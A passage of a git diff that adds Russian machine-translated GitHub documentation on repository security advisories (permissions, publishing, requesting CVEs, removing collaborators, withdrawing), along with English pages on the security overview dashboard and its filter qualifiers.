безопасности](/assets/images/help/security/security-advisory-credits.png) +12. Щелкните **Update security advisory** (Обновить рекомендации по безопасности). + ![Кнопка "Update security advisory" (Обновить рекомендации по безопасности)](/assets/images/help/security/update-advisory-button.png) +13. Люди, указанные в разделе "Credits" (Благодарности), получат электронное письмо или веб-уведомление с приглашением принять благодарность. Если человек принимает это приглашение, его имя пользователя станет общедоступным после публикации рекомендации по безопасности. + +## Дополнительные материалы + +- [Отзыв рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/index.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/index.md new file mode 100644 index 000000000000..91309352587c --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/index.md @@ -0,0 +1,35 @@ +--- +title: Работа с рекомендациями по безопасности репозитория +shortTitle: Repository security advisories +intro: 'Обсудите, исправьте и раскройте уязвимости системы безопасности в своих репозиториях с помощью рекомендаций по безопасности репозитория.' +redirect_from: + - /articles/managing-security-vulnerabilities-in-your-project + - /github/managing-security-vulnerabilities/managing-security-vulnerabilities-in-your-project + - /code-security/repository-security-advisories +versions: + fpt: '*' + ghec: '*' +topics: + - Security advisories + - Vulnerabilities + - Repositories + - CVEs +children: + - /about-repository-security-advisories + - /permission-levels-for-repository-security-advisories + - /configuring-private-vulnerability-reporting-for-a-repository + - /creating-a-repository-security-advisory + - /editing-a-repository-security-advisory + - /collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability + - /publishing-a-repository-security-advisory + - /adding-a-collaborator-to-a-repository-security-advisory + - /removing-a-collaborator-from-a-repository-security-advisory + - /withdrawing-a-repository-security-advisory +ms.openlocfilehash: 81de06dcbe130eedcbf9dbd4dedb7e21dae5db79 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148159024' +--- + diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md new file mode 100644 index 000000000000..c1d96062ea5c --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/permission-levels-for-repository-security-advisories.md @@ -0,0 +1,51 @@ +--- +title: Уровни разрешений для рекомендаций по безопасности репозитория +intro: 'Действия, которые можно предпринять в рамках рекомендаций по безопасности для репозитория, зависят от того, есть ли у вас разрешения администратора или разрешения для записи в рекомендации по безопасности.' +redirect_from: + - /articles/permission-levels-for-maintainer-security-advisories + - /github/managing-security-vulnerabilities/permission-levels-for-maintainer-security-advisories + - /github/managing-security-vulnerabilities/permission-levels-for-security-advisories + - /code-security/security-advisories/permission-levels-for-security-advisories + - /code-security/repository-security-advisories/permission-levels-for-repository-security-advisories +versions: + fpt: '*' + ghec: '*' +type: reference +topics: + - Security advisories + - Vulnerabilities + - Permissions +shortTitle: Permission levels +ms.openlocfilehash: f4195822de121780f1629fda3d646170d4c4e566 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114135' +--- +Эта статья относится только к рекомендациям по безопасности на уровне репозитория. Любой может вносить вклад в глобальные рекомендации по безопасности в {% data variables.product.prodname_advisory_database %} на сайте [github.com/advisories](https://github.com/advisories). Правки в глобальных рекомендациях не изменяют и не влияют на параметры отображения рекомендаций в репозитории. Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database). + +## Permissions overview (Общие сведения о разрешениях) + +{% data reusables.repositories.security-advisory-admin-permissions %} Дополнительные сведения о добавлении участника совместной работы в рекомендацию по безопасности см. в разделе [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory). + +Действие | Разрешения на запись | Разрешения администратора | +------ | ----------------- | ----------------- | +Просмотр черновика рекомендации по безопасности | X | X | +Добавление участников совместной работы в рекомендацию по безопасности (см. раздел [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory)) | | X | +Изменение и удаление комментариев в рекомендации по безопасности | X | X | +Создание временной частной вилки в рекомендации по безопасности (см. раздел[Совместная работа во временной частной вилке для устранения уязвимости системы безопасности репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | | X | +Добавление изменений во временную частную вилку в рекомендации по безопасности (см. раздел[Совместная работа во временной частной вилке для устранения уязвимости системы безопасности репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | X | X | +Создание запросов на вытягивание во временной частной вилке (см. раздел[Совместная работа во временной частной вилке для устранения уязвимости системы безопасности репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | X | X | +Слияние изменений в рекомендации по безопасности (см. раздел[Совместная работа во временной частной вилке для устранения уязвимости системы безопасности репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability)) | | X | +Добавление и изменение метаданных в рекомендации по безопасности (см. раздел [Публикация рекомендации по безопасности для репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)) | X | X | +Добавление и удаление кредитов для рекомендации по безопасности (см. раздел [Изменение рекомендации по безопасности для репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory)) | X | X | +Закрытие черновика рекомендации по безопасности | | X | +Публикация рекомендации по безопасности (см. раздел [Публикация рекомендации по безопасности для репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory)) | | X | + +## Дополнительные материалы + +- [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) +- [Совместная работа во временной частной вилке для устранения уязвимости репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) +- [Удаление участника совместной работы из рекомендации по безопасности репозитория](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory) +- [Отзыв рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md new file mode 100644 index 000000000000..1b623ce4a33a --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/publishing-a-repository-security-advisory.md @@ -0,0 +1,102 @@ +--- +title: Публикация рекомендаций по безопасности репозитория +intro: 'Вы можете опубликовать рекомендации по безопасности, чтобы информировать сообщество об уязвимости безопасности в проекте.' +redirect_from: + - /articles/publishing-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/publishing-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/publishing-a-security-advisory + - /code-security/security-advisories/publishing-a-security-advisory + - /code-security/repository-security-advisories/publishing-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities + - CVEs + - Repositories +shortTitle: Publish repository advisories +ms.openlocfilehash: 17d98e3027c0968f21107ccefdb70fbebca67a35 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114093' +--- + + +Любой пользователь с правами администратора в отношении рекомендации по безопасности может опубликовать эту рекомендацию. + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## Предварительные требования + +Прежде чем публиковать рекомендацию по безопасности или запрашивать идентификационный номер CVE, необходимо создать черновик рекомендации по безопасности и предоставить сведения о версиях проекта, затронутых уязвимостью. Дополнительные сведения см. в статье [Создание рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/creating-a-repository-security-advisory). + +Если вы создали рекомендацию по безопасности, но еще не предоставили подробные сведения о версиях проекта, затронутых уязвимостью, вы можете изменить эту рекомендацию по безопасности. Дополнительные сведения см. в статье [Изменение рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory). + +## Сведения о публикации рекомендаций по безопасности + +При публикации рекомендации по безопасности вы уведомляете свое сообщество об уязвимости, на которую нацелена рекомендация по безопасности. Публикация рекомендации по безопасности упрощает сообществу задачу по обновлению зависимостей пакетов и изучению влияния уязвимости. + +{% data reusables.repositories.security-advisories-republishing %} + +Перед публикацией рекомендации по безопасности вы можете осуществлять закрытую совместную работу над устранением уязвимости во временной частной вилке. Дополнительные сведения см. в разделе [Совместная работа во временной частной вилке для устранения уязвимости репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability). + +{% warning %} + +**Предупреждение**. По возможности следует всегда добавлять исправленную версию в рекомендацию по безопасности перед публикацией этой рекомендации. Если этого не сделать, рекомендация будет опубликована без исправленной версии, и {% data variables.product.prodname_dependabot %} оповестит пользователей о проблеме, не предоставив им безопасную версию для обновления. + +В таких ситуациях рекомендуется сделать следующее: + +- Если исправленная версия скоро появится и вы можете дождаться ее, сообщите о проблеме, когда исправление будет готово. +- Если версия исправления находится в разработке, но еще не доступна, укажите это в рекомендации и измените рекомендацию позже после публикации. +- Если вы не планируете исправлять проблему, четко укажите это в рекомендации, чтобы ваши пользователи не обращались к вам С вопросами о том, когда будет выпущено исправление. В этом случае полезно указать шаги, которые пользователи могут предпринять для устранения проблемы. + +{% endwarning %} + +При публикации черновика рекомендации из общедоступного репозитория все могут видеть следующее: + +- Текущая версия данных рекомендации. +- Любые благодарности за рекомендацию, на которые согласились пользователи. + +{% note %} + +**Примечание**. Широкая публика никогда не будет иметь доступа к журналу изменений такой рекомендации и будет видеть только опубликованную версию. + +{% endnote %} + +После публикации рекомендации по безопасности ее URL-адрес останется таким же, как и до публикации. Любой пользователь с доступом на чтение к репозиторию может просматривать рекомендацию по безопасности. Участники совместной работы над рекомендацией по безопасности могут продолжать просматривать прошлые беседы, включая полный поток комментариев, в этой рекомендации, пока пользователь с правами администратора не удалит такого участника из рекомендации. + +Если вам нужно обновить или исправить сведения в опубликованной рекомендации по безопасности, ее можно отредактировать. Дополнительные сведения см. в статье [Изменение рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory). + +## Публикация рекомендаций по безопасности + +Публикация рекомендации по безопасности удаляет временную частную вилку для этой рекомендации. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, которую хотите опубликовать. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Щелкните **Publish advisory** (Опубликовать рекомендацию) в нижней части страницы. + ![Кнопка "Publish advisory" (Опубликовать рекомендацию)](/assets/images/help/security/publish-advisory-button.png) + +## {% data variables.product.prodname_dependabot_alerts %} для опубликованных рекомендаций по безопасности + +{% data reusables.repositories.github-reviews-security-advisories %} + +## Запрос идентификационного номера CVE (необязательно) + +{% data reusables.repositories.request-security-advisory-cve-id %} Дополнительные сведения см. в разделе [Рекомендации по безопасности репозитория](/code-security/repository-security-advisories/about-github-security-advisories-for-repositories#cve-identification-numbers). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, для которой вы хотите запросить идентификационный номер CVE. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Используйте раскрывающееся меню **Publish advisory** (Опубликовать рекомендацию) и щелкните **Request CVE** (Запросить CVE). + ![Элемент "Request CVE" (Запросить CVE) в раскрывающемся списке](/assets/images/help/security/security-advisory-drop-down-request-cve.png) +6. Щелкните **Request CVE** (Запросить CVE). + ![Кнопка "Request CVE" (Запросить CVE)](/assets/images/help/security/security-advisory-request-cve-button.png) + +## Дополнительные материалы + +- [Отзыв рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/withdrawing-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md new file mode 100644 index 000000000000..bba97116d56d --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory.md @@ -0,0 +1,43 @@ +--- +title: Удаление участника совместной работы из рекомендаций по безопасности репозитория +intro: При удалении участника совместной работы из рекомендаций по безопасности для репозитория этот участник потеряет доступ на чтение и запись к обсуждению и метаданным рекомендаций по безопасности. +redirect_from: + - /github/managing-security-vulnerabilities/removing-a-collaborator-from-a-security-advisory + - /code-security/security-advisories/removing-a-collaborator-from-a-security-advisory + - /code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities + - Collaboration +shortTitle: Remove collaborators +ms.openlocfilehash: 77c21bea9c593935ee1b92028fc52859320f5a38 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114124' +--- +Пользователи с разрешениями администратора в отношении рекомендаций по безопасности могут удалять участников совместной работы из рекомендаций по безопасности. + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## Удаление участника совместной работы из рекомендаций по безопасности репозитория + +{% data reusables.repositories.security-advisory-collaborators-public-repositories %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, из которой вы хотите удалить участника совместной работы. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. В правой части страницы в разделе "Участники совместной работы" найдите имя пользователя или команды, которых вы хотите удалить из рекомендаций по безопасности. + ![Участник совместной работы в рекомендациях по безопасности](/assets/images/help/security/security-advisory-collaborator.png) +6. Рядом с участником совместной работы, которого вы хотите удалить, щелкните значок **X**. + ![Значок X для удаления участника совместной работы в рекомендациях по безопасности](/assets/images/help/security/security-advisory-remove-collaborator-x.png) + +## Дополнительные материалы + +- [Уровни разрешений для рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories) +- [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md new file mode 100644 index 000000000000..d138799fe93e --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/withdrawing-a-repository-security-advisory.md @@ -0,0 +1,29 @@ +--- +title: Отзыв рекомендаций по безопасности репозитория +intro: Вы можете отозвать опубликованные рекомендации по безопасности репозитория. +redirect_from: + - /github/managing-security-vulnerabilities/withdrawing-a-security-advisory + - /code-security/security-advisories/withdrawing-a-security-advisory + - /code-security/repository-security-advisories/withdrawing-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities +shortTitle: Withdraw repository advisories +ms.openlocfilehash: 71a6560c463384b032546b824e5f4294ced568e5 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114084' +--- +{% data reusables.security-advisory.repository-level-advisory-note %} + +Если вы опубликовали рекомендации по безопасности с ошибкой, их можно отозвать, обратившись к {% data variables.contact.contact_support %}. + +## Дополнительные материалы + +- [Изменение рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-overview/about-the-security-overview.md b/translations/ru-RU/content/code-security/security-overview/about-the-security-overview.md new file mode 100644 index 000000000000..29b36286e4a8 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-overview/about-the-security-overview.md @@ -0,0 +1,133 @@ +--- +title: About the security overview +intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in the security overview pages.' +permissions: '{% data reusables.security-overview.permissions %}' +product: '{% data reusables.gated-features.security-overview %}' +redirect_from: + - /code-security/security-overview/exploring-security-alerts +versions: + fpt: '*' + ghae: '*' + ghes: '*' + ghec: '*' +type: how_to +topics: + - Security overview + - Advanced Security + - Alerts + - Dependabot + - Dependencies + - Organizations + - Teams +shortTitle: About the security overview +--- + +{% ifversion ghes < 3.5 or ghae %} +{% data reusables.security-overview.beta %} +{% endif %} + +## About the security overview + +{% data reusables.security-overview.about-the-security-overview %} {% ifversion fpt %}For more information, see [the {% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/security-overview/about-the-security-overview).{% endif %} + +{% ifversion ghec or ghes or ghae %} +The security overview shows which security features are enabled for repositories and consolidate alerts for each feature. + +- Risk and coverage information about {% data variables.product.prodname_dependabot %} features and alerts is shown for all repositories. +- Risk and coverage information for {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, is shown only for enterprises that use {% data variables.product.prodname_GH_advanced_security %}. + +For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)" and "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)." + +## About filtering and sorting alerts + +The security overview provides a powerful way to understand the security of a group of repositories. The views are interactive with filters that allow you to drill into the aggregated data and identify sources of high risk or low feature coverage. As you apply multiple filters to focus on narrower areas of interest, the data across the view changes to reflect your selection. For more information, see "[Filtering alerts in the security overview](/code-security/security-overview/filtering-alerts-in-the-security-overview)." + +{% ifversion security-overview-alert-views %} +There are also dedicated views for each type of security alert that you can use to limit your analysis to a specific set of alerts, and then narrow the results further with a range of filters specific to each view. For example, in the {% data variables.product.prodname_secret_scanning %} alert view, you can use the `Secret type` filter to view only {% data variables.product.prodname_secret_scanning %} alerts for a specific secret, like a GitHub {% data variables.product.pat_generic %}. +{% endif %} + +{% note %} + +**Note:** The security overview displays active alerts raised by security features. If there are no alerts in the security overview for a repository, undetected security vulnerabilities or code errors may still exist. + +{% endnote %} + +## About the organization-level security overview + +{% data reusables.security-overview.beta-org-risk-coverage %} + +You can find the security overview on the **Security** tab for any organization that's owned by an enterprise. Each view shows aggregated data that you can drill down into, as you add each filter, the data is updated to reflect the repositories or alerts that you've selected. + +The application security team at your company can use the different views for both broad and specific analyses of your organization's security status. {% ifversion security-overview-org-risk-coverage %}For example, the team can use the "Security Coverage" page to monitor the adoption of features across your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %}, or use the "Security Risk" page to identify repositories with more than five open {% data variables.product.prodname_secret_scanning %} alerts.{% else %}For example, they can use the overview page to monitor adoption of features by your organization or by a specific team as you rollout {% data variables.product.prodname_GH_advanced_security %} to your enterprise, or to review all alerts of a specific type and severity level across all repositories in your organization.{% endif %} + +Organization owners and security managers for organizations have access to the security overview for their organizations. {% ifversion ghec or ghes > 3.6 or ghae > 3.6 %}Organization members can also access the organization-level security overview to view results for repositories where they have admin privileges or have been granted access to security alerts. For more information on managing security alert access, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."{% endif %} + +{% ifversion security-overview-org-risk-coverage %} +### Security Risk view + +This view shows data about the repositories affected by different types of security alert. + +- Use the **Type** and **Teams** drop-downs to add repository type and team filters. +- Click **Open alerts** or **Repositories affected** to show only repositories with a specific type of security alert. + +In addition, when you click in the search box, a list of the full set of filters available is shown. + +![Screenshot of the Security Risk view for an organization](/assets/images/help/security-overview/security-risk-view.png) + +### Security Coverage view + +This view shows data about which repositories are using security features. + +- Use the **Type** and **Teams** drop-downs to add repository type and team filters. +- Click **Alerts enabled** and other features listed in the header to see only repositories with those features enabled. +- Change any `FEATURE:enabled` filter to `FEATURE:not-enabled` in the search box to see repositories that haven't enabled a feature. +- For any repository, click the ellipsis (**...**) then **Security Settings** to enable additional features. + +In addition, when you click in the search box, a list of the full set of filters available is shown. + +![Screenshot of the Security Coverage view for an organization](/assets/images/help/security-overview/security-coverage-view.png) + +{% else %} + +### Understanding the main security overview + +![Screenshot of the security overview for an organization](/assets/images/help/security-overview/security-overview-org-legacy.png) + +For each repository in the security overview, you will see icons for each type of security feature and how many alerts there are of each type. If a security feature is not enabled for a repository, the icon for that feature will be grayed out. In addition, a risk score is calculated for each repository based on its code scanning, Dependabot and secret scanning alerts. This score is in beta and should be used with caution. Its algorithm and approach is subject to change. + +![Icons in the security overview](/assets/images/help/security-overview/security-overview-icons.png) + +| Icon | Meaning | +| -------- | -------- | +| {% octicon "code-square" aria-label="Code scanning alerts" %} | {% data variables.product.prodname_code_scanning_capc %} alerts. For more information, see "[About {% data variables.product.prodname_code_scanning %}](/code-security/secure-coding/about-code-scanning)." | +| {% octicon "key" aria-label="Secret scanning alerts" %} | {% data variables.product.prodname_secret_scanning_caps %} alerts. For more information, see "[About {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/about-secret-scanning)." | +| {% octicon "hubot" aria-label="Dependabot alerts" %} | {% data variables.product.prodname_dependabot_alerts %}. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)." | +| {% octicon "check" aria-label="Check" %} | The security feature is enabled, but does not raise alerts in this repository. | +| {% octicon "x" aria-label="x" %} | The security feature is not supported in this repository. | + +{% endif %} + +{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} +## About the enterprise-level security overview + +You can find the security overview on the **Code Security** tab for your enterprise. Each overview displays aggregated and repository-specific security information for your enterprise. You can view repositories owned by your enterprise that have security alerts, view all security alerts, or security feature-specific alerts from across your enterprise. + +Enterprise owners can view alerts for organizations that they are an owner or a security manager of.{% ifversion ghec or ghes > 3.5 or ghae > 3.5 %} Enterprise owners can join an organization as an organization owner to see all of its alerts in the enterprise-level security overview. For more information, see "[Managing your role in an organization owned by your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/managing-your-role-in-an-organization-owned-by-your-enterprise)."{% endif %} + +Organization owners and security managers for organizations in an enterprise have access to the enterprise-level security overview. They can view repositories and alerts for the organizations that they have full access to. +{% endif %} + +{% ifversion ghes < 3.7 or ghae < 3.7 %} +## About the team-level security overview + +You can find the security overview on the **Security** tab for any team in an organization that's owned by an enterprise. + +At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." +{% endif %} + +## Further reading + +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Securing your organization](/code-security/getting-started/securing-your-organization)" +- "[Introduction to adopting GitHub Advanced Security at scale](/code-security/adopting-github-advanced-security-at-scale/introduction-to-adopting-github-advanced-security-at-scale)" +{% endif %} diff --git a/translations/ru-RU/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md b/translations/ru-RU/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md new file mode 100644 index 000000000000..db05640abe98 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-overview/filtering-alerts-in-the-security-overview.md @@ -0,0 +1,162 @@ +--- +title: Filtering alerts in the security overview +intro: Use filters to view specific categories of alerts +permissions: '{% data reusables.security-overview.permissions %}' +product: '{% data reusables.gated-features.security-overview %}' +allowTitleToDifferFromFilename: true +versions: + ghae: '*' + ghes: '*' + ghec: '*' +type: how_to +topics: + - Security overview + - Advanced Security + - Alerts + - Organizations + - Teams +shortTitle: Filtering the security overview +--- + +{% ifversion ghes < 3.5 or ghae %} +{% data reusables.security-overview.beta %} +{% endif %} + +## About filtering the security overview + +You can use filters in a security overview to narrow your focus based on a range of factors, like alert risk level, alert type, and feature enablement. Different filters are available depending on the specific view{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} and whether you are viewing data at the enterpise or organization level{% endif %}. + +{% ifversion security-overview-displayed-alerts %} +{% note %} +{% data reusables.security-overview.information-varies-GHAS %} +{% endnote %} +{% endif %} + +## Filter by repository + +| Qualifier | Description | +| -------- | -------- | +| `repo:REPOSITORY-NAME` | Displays data for the specified repository. | + +## Filter by whether security features are enabled + +In the examples below, replace `:enabled` with `:not-enabled` to see repositories where security features are not enabled. These qualifiers are available in the main summary views. + +| Qualifier | Description | +| -------- | -------- | +| `code-scanning:enabled` | Display repositories that have set up {% data variables.product.prodname_code_scanning %}. | +| `dependabot:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot_alerts %}. | +| `secret-scanning:enabled` | Display repositories that have enabled {% data variables.product.prodname_secret_scanning %} alerts. {% ifversion security-overview-org-risk-coverage %} | +| `any-feature:enabled` | Display repositories where at least one security feature is enabled. |{% else %} +| `not-enabled:any` | Display repositories with at least one security feature that is not enabled. |{% endif %} + +{% ifversion security-overview-org-risk-coverage %} +The organization-level Security Coverage view includes extra filters. + +{% data reusables.security-overview.beta-org-risk-coverage %} + +| Qualifier | Description | +| -------- | -------- | +| `code-scanning-pull-request-alerts:enabled`| Display repositories that have configured {% data variables.product.prodname_code_scanning %} to run on pull requests. | +| `dependabot-security-updates:enabled` | Display repositories that have enabled {% data variables.product.prodname_dependabot %} security updates. | +| `secret-scanning-push-protection:enabled` | Display repositories that have set up push protection for {% data variables.product.prodname_secret_scanning %}. | +{% endif %} + +## Filter by repository type + +These qualifiers are available in the main summary views. + +| Qualifier | Description | +| -------- | -------- | +{%- ifversion ghes or ghec %} +| `is:public` | Display public repositories. | +{%- endif %} +| `is:internal` | Display internal repositories. | +| `is:private` | Display private repositories. | +| `archived:true` | Display archived repositories. | +| `archived:false` | Omit archived repositories. | + +{% ifversion ghec or ghes > 3.4 or ghae > 3.4 %} +## Filter by level of risk for repositories + +The level of risk for a repository is determined by the number and severity of alerts from security features. If one or more security features are not enabled for a repository, the repository will have an unknown level of risk. If a repository has no risks that are detected by security features, the repository will have a clear level of risk. + +{% ifversion security-overview-org-risk-coverage %} +These qualifiers are available in the enterprise-level view. +{% endif %} + +| Qualifier | Description | +| -------- | -------- | +| `risk:high` | Display repositories that are at high risk. | +| `risk:medium` | Display repositories that are at medium risk. | +| `risk:low` | Display repositories that are at low risk. | +| `risk:unknown` | Display repositories that are at an unknown level of risk. | +| `risk:clear` | Display repositories that have no detected level of risk. | +{% endif %} + +## Filter by number of alerts + +{% ifversion security-overview-org-risk-coverage %}These qualifiers are available in the enterprise-level Overview and in the organization-level Security Risk view.{% else %}These qualifiers are available in the main summary views.{% endif %} + +| Qualifier | Description | +| -------- | -------- | +| code-scanning:n | Display repositories that have *n* {% data variables.product.prodname_code_scanning %} alerts. This qualifier can use `=`, `>` and `<` comparison operators. | +| secret-scanning:n | Display repositories that have *n* {% data variables.product.prodname_secret_scanning %} alerts. This qualifier can use `=`, `>` and `<` comparison operators. | +| dependabot:n | Display repositories that have *n* {% data variables.product.prodname_dependabot_alerts %}. This qualifier can use `=`, `>` and `<` comparison operators. | + + +## Filter by team + +These qualifiers are available in the main summary views. + +| Qualifier | Description | +| -------- | -------- | +| team:TEAM-NAME | Displays repositories that *TEAM-NAME* has admin privileges for. | + +## Filter by topic + +These qualifiers are available in the main summary views. + +| Qualifier | Description | +| -------- | -------- | +| topic:TOPIC-NAME | Displays repositories that are classified with *TOPIC-NAME*. | + +{% ifversion security-overview-alert-views %} + +## Additional filters for {% data variables.product.prodname_code_scanning %} alert views + +All code scanning alerts have one of the categories shown below. You can click any result to see full details of the relevant query and the line of code that triggered the alert. + +| Qualifier | Description | +| -------- | -------- | +|`severity:critical`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as critical.| +|`severity:high`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as high.| +|`severity:medium`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as medium.| +|`severity:low`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as low.| +|`severity:error`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as errors.| +|`severity:warning`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as warnings.| +|`severity:note`|Displays {% data variables.product.prodname_code_scanning %} alerts categorized as notes.| + +{% ifversion dependabot-alerts-vulnerable-calls %} +## Additional filters for {% data variables.product.prodname_dependabot %} alert views + +You can filter the view to show {% data variables.product.prodname_dependabot_alerts %} that are ready to fix or where additional information about exposure is available. You can click any result to see full details of the alert. + +| Qualifier | Description | +| -------- | -------- | +|`has:patch`|Displays {% data variables.product.prodname_dependabot %} alerts for vulnerabilities where a secure version is already available.| +|`has:vulnerable-calls`|Displays {% data variables.product.prodname_dependabot %} alerts where at least one call from the repository to a vulnerable function is detected. For more information, see "[Viewing and updating Dependabot 